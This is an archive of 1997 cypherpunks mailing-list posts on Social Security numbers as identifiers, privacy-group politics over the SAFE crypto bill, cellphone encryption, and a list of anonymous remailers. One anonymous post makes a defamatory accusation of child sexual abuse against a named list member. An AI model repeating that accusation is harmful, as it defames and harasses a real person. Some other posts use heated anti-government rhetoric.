that they only encode the year of birth when calculating SS #'s. Using Hex
rather than decimal for encoding would help greatly in redicing the number
of digits required. I would imagine that the SSA will have to go to a Hex
or complete Alphanumeric codings system as the population increases.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Mon, 2 Jun 1997 23:09:27 +0800
To: Robert Hettinga <cypherpunks@algebra.com
Subject: Rotenberg or Berman?  (was  Re: e$: Beltway piglets and otherbarnyard animals)
In-Reply-To: <v03007800afb6766f6f7f@[204.179.142.132]>
Message-ID: <v03007805afb8066bc310@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 5:01 PM -0700 6/1/97, Robert Hettinga wrote:
[snip]
>First, he led EFF to ignominious defeat with the digital telephony bill,
>and now, like some kind of political gremlin, emerging unscathed after
>engineering *that* jumbo-jet plane crash, he starts up EPIC, where he
>slipstreams no-brainer ACLU court cases like CDA to stay in the beltway
>pelleton.

Marc Rotenberg never led EFF; he led CPSR-Washington which became EPIC.

Bob may be thinking of Jerry Berman, who ran EFF for a few years, was
involved in its actions re Digital Telephony, and then left to start up
CDT.

Lee


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 2 Jun 1997 11:38:08 +0800
To: cypherpunks@toad.com
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <v03102801afb7cce12642@[207.167.93.63]>
Message-ID: <v0302094bafb7ebe521b4@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


Okay.

I'll bite.

1. Take a dollar.

2. Write down the serial number.

3. Burn the dollar.

Can you say "seignorage"?

I knew you could...

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Mon, 2 Jun 1997 13:01:41 +0800
To: ppomes@Qualcomm.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <2372.865205390@zelkova.qualcomm.com>
Message-ID: <199706020425.AAA10749@pig.die.com>
MIME-Version: 1.0
Content-Type: text


Paul Pomes wrote :

> "William H. Geiger III" <whgiii@amaranth.com> writes:
> 
> |It's an intresting side note that the reason why the Cell Phones in this
> |country do not use strong crypto is because of the intervention of the FCC
> |and associated Federal LEA's.
> 
> Not that it would have mattered except to scanner owners with too much time
> on their hands.  The LEAs can intercept at the cellular base station where
> the air segment traffic is decrypted.

	While your point about link versus end to end security is
certainly most important,  LEAs have a long track record of illegal, or
at least unofficial, warrentless interceptions.  And they have bought
lots of high end scanners (ask any ICOM dealer).  Interception via the
Digital Telephony mandated interfaces is supposed to handled by a telco
employee  under the Digital Telephony act provisions and as such is
logged and on record, whilst nobody is the wiser about radio link
interceptions.   And it is a lot easier to get a wiretap warrent when
you've already got some evidence from a "very reliable confidential
informant". I don't doubt that the NSA and CIA and other related
agencies have  methods of using backdoors in switch and cross connect
software to bypass the Telco people who are supposed to be logging the
wiretap, but law enforcement in general is much less apt to have access
to these highly sensitive and classified entry points which necessarily
are closely guarded.  

	And of course nothing in US law does any good for TLAs operating
elsewhere, even though the hardware is the same or similar.

> For mobile-to-landline, the landline options are decidely minimal.  If you
> go with STU-III you have the problem of a fixed-rate 4800 baud modulation
> sucking up bandwidth.  That could be put in the base station but then the
> path is no longer end-to-end.
> 
	Unfortunately nobody has addressed this little issue.   Cellular
IP connectivity in its various flavors may help, but then you get into
the worst case latency and related queueing issues that makes data type
connections unpleasant for high quality voice.  And the person using the
cellphone has to have an external encryption and vocoding box even
though the phone has all this built in.   Of course it would have been
possible to  accomadate this if there had been a market.... 

	In fact it would be technically possible to offer a secure end
to end service connecting to existing encrypting digital cellphones
based on letting the party at the POTS end, armed with suitable software
on a PC, decrypt and demodulate the voice. The carrier would merely pass
standard encrypted voice packets back and forth between the cellphone
and the PC, persumably over a standard wireline modem to the PC. Might
be rather strange, but modern PC hardware should be able to handle this
kind of compute load easily.  I don't know if there is any provision in
current cellphone firmware for negotiating a voice privacy key in such a
way that the carrier would not know it, but I suppose that something
could be developed.

	Or alternatively special cellphone firmware could be developed
that would complete a special class of data connection to the POTS end
and shovel the existing vocoded voice packets back and forth under a DH
negotioted key.  For the cell carrier this would be a special (low
latency, fixed bandwidth, in order delivery) grade of data connection
which could be used for all kinds of things, but for the cellphone user
it would obviate the need for an external secure telephone and would
allow even small hand held digital cellphones to communicate securely
end to end. And the POTS end could be either a PC or a secure handset
based on cellphone technology that would be also useful for secure
calls on wireline connections.

	But I guess I dream, as there are those who would not appreciate
this...
							


> /pbp
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 2 Jun 1997 13:03:13 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102800afb7ba21be7b@[207.167.93.63]>
Message-ID: <3.0.2.32.19970602002628.0070932c@keystone.intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:47 PM 6/1/97 -0700, Declan McCullagh wrote:
>On Sun, 1 Jun 1997, Tim May wrote in response to Robert:
>> 
>> >Yes, I would support a law that forbids private companies to ask for 
social
>> >security numbers except for tax purposes.
>> 
>> No wonder the EFF is so fucked up.
>
>To the best of my knowledge, EF-Georgia does not speak for the EFF. I
>don't know if the EFF would support such a law as Robert describes.
>Perhaps Stanton can help out here.

Yes.  Declan is correct.

For anyone else who is confused, I'm not a beltway person, and I have no 
association with EFF.  I'm not a policy analyst.  I'm a software developer.  I 
work for a living and pay my own way.  

I do have opinions.  Beliefs in privacy, free speech, and core belief that 
technology and the internet is good.  I pursue this as a hobby to the best of 
my ability.  I take advice from others, and try to get them to help educate me 
in matters I do not understand.  Once I act on my opinions and beliefs, I tend 
to win.


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM5JLcEGpGhRXg5NZAQFvuAH9FxwHRAUukQ0+3iyDX1cOgFmTxRT+0Q8q
yTLiHhVI7BJ2Uco/YUmnlwoqsGngkzd2joVTUVAA/wJvztvvgBq3BA==
=D8D4
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 2 Jun 1997 13:09:24 +0800
To: cypherpunks@toad.com
Subject: New SSN Law
Message-ID: <199706020427.AAA18231@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert A. Costner wrote:

> Why does the store need my social security number for me to purchase soft
> drinks and eggs?  (40 cents off on eggs this week)  I see no reason for it.
> If I provide a false number, I have probably committed some crime.
> 
> Yes, I would support a law that forbids private companies to ask for social
> security numbers except for tax purposes.

  Am I missing something? Didn't we used to have one of those?
Wasn't that changed so that government and corporate interests
could put us all in more efficient boxes to control us and make
money off of us?
  Some states already use the SSN on the driver's licenses. More
will follow. The SSN is our National Identity Card and there is
no going back. The tattoo is history and the Identity Chip is the
future.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Mon, 2 Jun 1997 13:34:49 +0800
To: Tim May <tcmay@got.net>
Subject: Re: May's Banal Rant
In-Reply-To: <v03020922afb728ab90f3@[139.167.130.247]>
Message-ID: <v03007800afb7f6a1b377@[207.172.46.254]>
MIME-Version: 1.0
Content-Type: text/plain


>
>Likewise, EPIC can and should announce that it will not support SAFE if any
>form of criminalization language remains.
>
>We would not find it acceptable to have a law which encouraged the
>placement of microphones and cameras in private homes, "voluntarily," but
>which then said "Anyone who does not participate in the Voluntary Safe
>Surveillance Program and who is found to have committed a crime furthered
>by the failure to volunteer shall be subjected to additional imprisonment
>of at least 5 years."
>
>This is what the criminalization of crypto is all about. It is not, as is
>so often suggested, analogous to "use of a gun" in a crime, nor to "use of
>the public mails." It is much closer to the examples I cite, language and
>religion, than to use of a publicly-regulated monopoly like the telephones
>or the mail. The gun situation is presumably related to the threat of
>bodily harm...I'm not saying I agree with "use a gun, go to prison"
>sentencing enhancements, but a stronger case can be made than for "use a
>cipher, go to prison.

I don't need the lecture. I've made the argument better than
you have and I've made it longer than you have. I don't recall
you protesting the Computer Fraud and Abuse Act (1984),
working on the RTM case (a CFAA prosecution in 1988). You
weren't involved in the FOIA case for 2600.


>
>So, Marc can immediately prove the honesty of his point by:
>
>a. denouncing any "return address" requirements and refusing to cooperate
>with any Congressthing who espouses such wrong-headed ideas

Great plan. I'll watch TV and let Congress pass a bill
requiring mandatory identification for Internet users.
Really clever.

>
>b. denounce SAFE if it has any hint whatsoever of criminalization of crypto
>
>(Or of any of the (apparent) language about technical review panels
>deciding on exports...this is, to many of us, a code phrase indicating that
>SAFE will by no means make export of arbitrarily unbreakable ciphers an
>automatic process.)

This is getting tiring. Who do you think first opposed the proposed
amendment to Pro-CODE creating the review board?  You are behind
the curve, but you act like you're way out in front.

I'm probably in a much better position to criticize the failure
of Tim May et al to stand up for crypto freedom than the other
way around.

>Being a rejectionist, I don't see the point of dealing with Congress. The
>usual view is that "If you don't get involved, things will be even worse."
>I'm not convinced of this. It's often better to not lend them any support,
>not lend them any technical expertise, and devote all energies to
>undermining and challenging their actions later.

And the existence proof of this proposition is . . .

>
>And helping them draft legislation only feeds the process.
>
>I think it was George Carlin who said, "If you think you're part of the
>solution, you're part of the problem."

Good high school humor for a good high school philosophy.

I am underwhelmed.

Marc.



Marc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 2 Jun 1997 16:04:49 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: May's Banal Rant
In-Reply-To: <v03102802afb7ceba955c@[207.167.93.63]>
Message-ID: <3.0.2.32.19970602005500.006de554@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:31 AM 6/2/97 -0400, Marc Rotenberg wrote:
>Great plan. I'll watch TV and let Congress pass a bill
>requiring mandatory identification for Internet users.
>Really clever.

First of all, such a bill will be passed regardless of what you or anyone
else does. The only question is when. You may be able to delay passing of
this bill for a few years, perhaps even a few decades, but pass it will.

So let us turn to the more relevant question: is it better for such bill to
pass now or ten years from now? It may seem obvious that the answer is "ten
years from now", but I feel that it not nearly as obvious as it seems and
in fact may even not be correct.

Ten years and a few Sarin attacks on American subways and other Reichstag
Fires later, such a bill will pass with the full backing of Joe Sixpack and
Jill Soccer Mom. The passing will be a formality.

If, however, Congress was to pass such a bill now or in the very near
future, the population would recognize the law for what it is: yet another
fascist powergrab. Which in turn might trigger the exercise of certain
recall provisions available to the citizens of the US thanks to the Bill of
Right.

It is up to each of us to decide which of these two possible futures is
"better".


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 2 Jun 1997 14:29:46 +0800
To: cypherpunks@toad.com
Subject: Firewalls
Message-ID: <199706020614.CAA28437@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[retin] May prefers to have sex with little kids because his own 
penis is like that of a three-year-old.

              ____
            _(____)_
       _ooO_(_o__o_)_Ooo_ Timmy C[retin] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jonathon <grafolog@netcom.com>
Date: Mon, 2 Jun 1997 10:42:00 +0800
To: cypherpunks@algebra.com
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <v03102801afb7cce12642@[207.167.93.63]>
Message-ID: <Pine.SUN.3.95.970602014607.25651C-100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 1 Jun 1997, Tim May wrote:

> At 5:25 PM -0700 6/1/97, William H. Geiger III wrote:

> >stored on individules a SS number is quite convienat as everyone has a
> >unique one. Most employee, payroll, medical, insurance, credit, databases

	Somebody here is forgetting that the Social Security
	Adminstration, back in the mid-eighties claimed that at least
	10 percent of the numbers in use, were improperly issued.

	The same number was issued to _two or *more*_ people.  The worst
	case was a number that several thousand people used, thinking it 
	was issued to them, exclusively, when it was in fact never issued.

	A further complication is that the same individual could have been
	issued two or _more_ different numbers, either by design, or
	accident.

> >unique qualities that make it perfect for this use: 1 every person has a
> >unique #, and 2 it never changes. This can not be said for any other
	
	Both premises are false, and the SSA has said so on several
	different occasions.

> without entry of any allegedly random numbers, and without any hashing
> of personal data. It's not necessarily a real short number, certainly
> not as short as an SS number. 
	
	One proposal I'm familiar with was:
	date of birth << year month day >>
	time of birth << hours, minutes, seconds >>
	longitude of birth  << degrees, minutes, seconds >> 
	lattitude of birth  << degrees, minutes, seconds >>
	sex		     << one letter >>
	mother's initials    << first, middle, last >>
	father's initials   <<  first, middle, last >>

	so you'd end up with something like

	19970601185500-0300000.00-300000.00mxyzwvz

	<< A number which would be issued to a male born today 
	somewhere slightly north of Port Shepstone, and slightly west
	of Pietermaritzburg, RSA. >> 

	However, there are several problems with it, the two most notable
	being the lack of accurate birth times, and that most people have
	a very hard time remembering 42 digit numbers.

	I don't know how solvable those, and other not so apparant
	problems are, but I suspect that it has been intensively
	studied by more than a few governments and organizations, since
	it was first proposed, fifty something years ago. 

          xan

          jonathon
          grafolog@netcom.com

	

	Monolingualism is a curable disease

	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jonathon <grafolog@netcom.com>
Date: Mon, 2 Jun 1997 13:25:49 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <199706020349.WAA09406@mailhub.amaranth.com>
Message-ID: <Pine.SUN.3.95.970602045043.25651I-100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 1 Jun 1997, William H. Geiger III wrote:
> In <Pine.SUN.3.95.970602014607.25651C-100000@netcom2>, on 06/02/97 
>    at 02:24 AM, jonathon <grafolog@netcom.com> said:

> Really much to complex to be of use not to mention the lack of reliable
> data to form the id #.

	For person's currently living, maybe the data is lacking.
	However, tagging an ID at birth, for future citizen units,
	is perfectly feasable.  <<  And do note in passing that hospitals
	do have SSNs issued to new-borns, regardless of the 
	wishes/request/knowledge/authorization/permission of parent(s). >>

> The use of DOB + Geographic Identifier + Unique Code would work quite

	Err, the code I listed was of that format --- just a lot more
	more specific than the following.

> 19970601 - DOB.
> 0123     - Sample Geographic Identifier (say NY City).
> 0142     - Unique Code added to handle collisions of the above two.
> 
> I believe that this is very simmilar to what the SSA uses though I believe
> that they only encode the year of birth when calculating SS #'s. 

	SSN consists of xxx-yy-zzzz
	xxx is state of issue.
	yy _can_ correspond to year(s) of issue, and locale with the
		state.  << Usually just a range of years that it
		was issued in.  >>
	zzzz is the sequence number.  Each issued number just goes up
		one more.  Though certain numbers are deliberatly
		skipped.  
	
	There are certain checks that can be done, to figure out if
	a number _could_ have been issued to an individual.

> of digits required. I would imagine that the SSA will have to go to
> a Hex or complete Alphanumeric codings system as the population increases.

	They currently recycle old numbers, though there are still a 
	number of unused sequences that are available.  <<  Roughly 
	the current population of the usa. >>

          xan

          jonathon
          grafolog@netcom.com


	Monolingualism is a curable disease

	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 2 Jun 1997 22:19:59 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199706021350.GAA12974@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 2 Jun 97 6:45:35 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer@hidden.net              ########-##*    27:13 100.00%
jam      remailer@cypherpunks.ca          ************    10:49  99.96%
winsock  winsock@rigel.cyberpass.net      -+------+---  4:03:03  99.93%
weasel   config@weasel.owl.de             ++-++++++++   1:51:36  99.91%
squirrel mix@squirrel.owl.de              ++-+++++-++   1:52:02  99.87%
cyber    alias@alias.cyberpass.net        +* *++******    13:57  99.86%
replay   remailer@replay.com              ****** *****    11:57  99.75%
mix      mixmaster@remail.obscura.com     -.---***.-    7:32:07  96.99%
lucifer  lucifer@dhp.com                  ++-+++++++      49:21  95.54%
reno     middleman@cyberpass.net          ++-   --+--+  1:44:06  90.54%
balls    remailer@huge.cajones.com        #*####*###       1:27  82.42%
nym      config@nym.alias.net              *#***           3:02  37.19%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 2 Jun 1997 23:04:39 +0800
To: shamrock@netcom.com
Subject: Re: May's Banal Rant
In-Reply-To: <3.0.2.32.19970602005500.006de554@netcom13.netcom.com>
Message-ID: <199706021447.HAA19930@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green writes:
> 
> At 12:31 AM 6/2/97 -0400, Marc Rotenberg wrote:
> >Great plan. I'll watch TV and let Congress pass a bill
> >requiring mandatory identification for Internet users.
> >Really clever.
> 
> First of all, such a bill will be passed regardless of what you or anyone
> else does. The only question is when. You may be able to delay passing of
> this bill for a few years, perhaps even a few decades, but pass it will.
> 
> So let us turn to the more relevant question: is it better for such bill to
> pass now or ten years from now? It may seem obvious that the answer is "ten
> years from now", but I feel that it not nearly as obvious as it seems and
> in fact may even not be correct.
> 
> Ten years and a few Sarin attacks on American subways and other Reichstag
> Fires later, such a bill will pass with the full backing of Joe Sixpack and
> Jill Soccer Mom. The passing will be a formality.
> 
> If, however, Congress was to pass such a bill now or in the very near
> future, the population would recognize the law for what it is: yet another
> fascist powergrab. Which in turn might trigger the exercise of certain
> recall provisions available to the citizens of the US thanks to the Bill of
> Right.
> 
> It is up to each of us to decide which of these two possible futures is
> "better".

If those were the only two futures, you'd be right.

However it's more likely that if an 'Internet drivers license' bill
passed next week, Joe and Jill wouldn't care.  They're not on the Net
anyhow, and they already know (by reading _Time_ and watching TV)
that the Net is full of hackers and porn.  An Internet Drivers License
would help authorities crack down on hackers, or so the tv would
tell Jack and Jill (and they'd beleive it).

In addition, few people care about anonymity.  Jack and Jill certainly dont.
Try explaining why net users should be allowed to be anonymous to
someone who barely understands the net.  Like your parents for example.


If an 'Internet drivers license' bill passed next week, it'd take at
least a year to get it repealed (probably much longer).  During
that time, if the government wished to do so, it could stage any
number of provocative acts, blame them on 'Internet Terrorists', then
get James Kallstron on tv to announce that the 'Terrorists' have been
caught via their Internet Drivers Licenses.  


-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 2 Jun 1997 21:20:08 +0800
To: cypherpunks@algebra.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102800afb7ba21be7b@[207.167.93.63]>
Message-ID: <v03020912afb86ede5487@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:47 pm -0400 on 6/1/97, Declan McCullagh wrote:


> until Marc started yelling about libertarians being "Pod People," or at
> least possessing similar critical thinking skills. :)

Same as it ever was.

It's a common rhetorical device used by totalitarian fellow-travellers
everywhere. Call something its opposite and destroy its objective meaning
in the process.

Orwell's "Freedom is Slavery" line is the best example I can think of.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 3 Jun 1997 00:58:50 +0800
To: rotenberg@epic.org
Subject: Re: May's Banal Rant
In-Reply-To: <6333@lawprof.demon.co.uk>
Message-ID: <v03102800afb8a1339822@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:14 AM -0700 6/2/97, Michael Froomkin wrote:
>I don't understand this.  Of all the alphabet soup privacy groups out
>there, EPIC is the one I consider most pro-privacy and anonymity other
>than the ACLU itself.  And EPIC knows the tech better, on the whole
>(although the ACLU is quite clued-up too).  It is true that EPIC is not
>absolutist on SAFE -- and I'm not quite sure that they are right to give
>even the inch they gave to get a mile -- but they're awfully good.
>
>Rotenburg should be a near-hero to most readers of this list.  Instead,
>canabalism.   Weird.  Very weird.
>
>That does it.  When I get back to the US, I'm sending EPIC a donation.

Cannibalism? You overstate the level of crititcism here.

Granted, my initial thread title, "Rotenberg as the Uber Enemy," was
provocative...deliberately so. Provocative titles get attention (yes, I
congratulate Rotenberg on choosing the current thread title!).

When a leading privacy spokesman makes soothing noises on CNN about the
need to control spam by looking into how spammers gather their information,
and when CDT, EPIC, etc., have still not withdrawn their support for SAFE
despite the "use a cipher, go to prison" language, they deserve our
criticism. (In fact, CDT's latest press release on the status of SAFE makes
not a single mention of the criminalization of crypto language.)

EPIC is not being singled out for especially harsh criticism, at least not
by me. I would reserve worse criticism for CDT. (Yes, I said that EFF is
fucked up. So sue me. Fact is, EFF is a shadow of its former self, and is
missing in action on this and most other leglislative debates. Yes, I was
once a dues-paying member of the EFF, back when they were active. At least
in legislative areas, that is. All of the alphabet soupers are doing nice
work on court cases, e.g., CDA, Bernstein, etc., but the focus of the
discussion here is on SAFE and the Internet regulation proposals, not on
their lawyers.)

Frankly, we've got the alphabet soup of privacy orgs in D.C. working on
various compromises, and almost no strong voices in opposition. Or at least
the strong voices in opposition are not being quoted. Certainly neither
Cato nor the Libertarian Party are being heard widely on the SAFE and
anti-spam issues.

(I attribute this at least partly to lack of presence in D.C., lack of a
machine to crank out press releases, lack of shmoozing with the reporters.
A reporter asked me in e-mail for a comment on SAFE; she wanted to know who
I was and what my affiliation was. I told her I had no affiliation, that I
was just a guy out in Calfornia. She may have been expecting "Policy
Director, Center for Cyberspatial Liberty Studies," or somesuch. She never
got back to me. I surmise journalists and others are hung up on
officious-sounding titles, which is why every lobbyist in D.C. is either a
Policy Director or a President of something.)

In my article/rant last night I outlined why these legislative juggernauts
are rolling across America. I regret that EPIC, EFF, CDT, etc., are not
doing more to oppose them.

For my part, I'll donate to Bell's defense fund long before I'll donate to
one of the alphabet soup.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 3 Jun 1997 00:52:46 +0800
To: cypherpunks@algebra.com
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <86523747331750@cs26.cs.auckland.ac.nz>
Message-ID: <v03102801afb8a60abb53@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:44 PM -0700 6/2/97, Peter Gutmann wrote:
>Death rays from Mars made Tim May <tcmay@got.net> write:
>
>>There's a way to generate a number for any person which is unique. It is not
>>shared by anyone else on the planet.
>
>It's not guaranteed unique.  First, the dollar you use may be a forgery (why
>forge a dollar?  I don't know, maybe they're practicing on low-denomination

Sure, these are all possible protocol failures. (Likewise, one could use
the number but not destroy the bill and instead pass it on, thus producing
collisions.)

Assuming the bill is not a forgery...not terribly hard to confirm,
especially if given the time likely to plan for execution of the
protocol--and assuming one follows the protocol....

(Note: costs of forgery are real. Fibers in the paper, the paper itself,
etc. I doubt it would be economical for a forger to enter the dollar bill
market. Maybe specifically to spoof the protocol, but that is guarded
against in the expected ways, e.g., by picking from a large pool of bills
at, say, a flea market or other business, by choosing a well-worn bill,
etc. Neither information-theoretically nor cryptographically secure, to be
sure, but "agorically secure," to coin a phrase.)

>somewhere).  Does the US Treasury issue replacement notes if the originals
>are
>damaged in printing, or does it just destroy the notes and leave it at that?

Don't know.

But certainly a dollar bill burned up as part of this protocol is unknown
to them, and would of course never be reprinted (print runs are obviously
done in large batches, with auto-indexing of numbers across sheets, so
"one-offs" would never be done anyway).

--Tim May



>
>Peter.


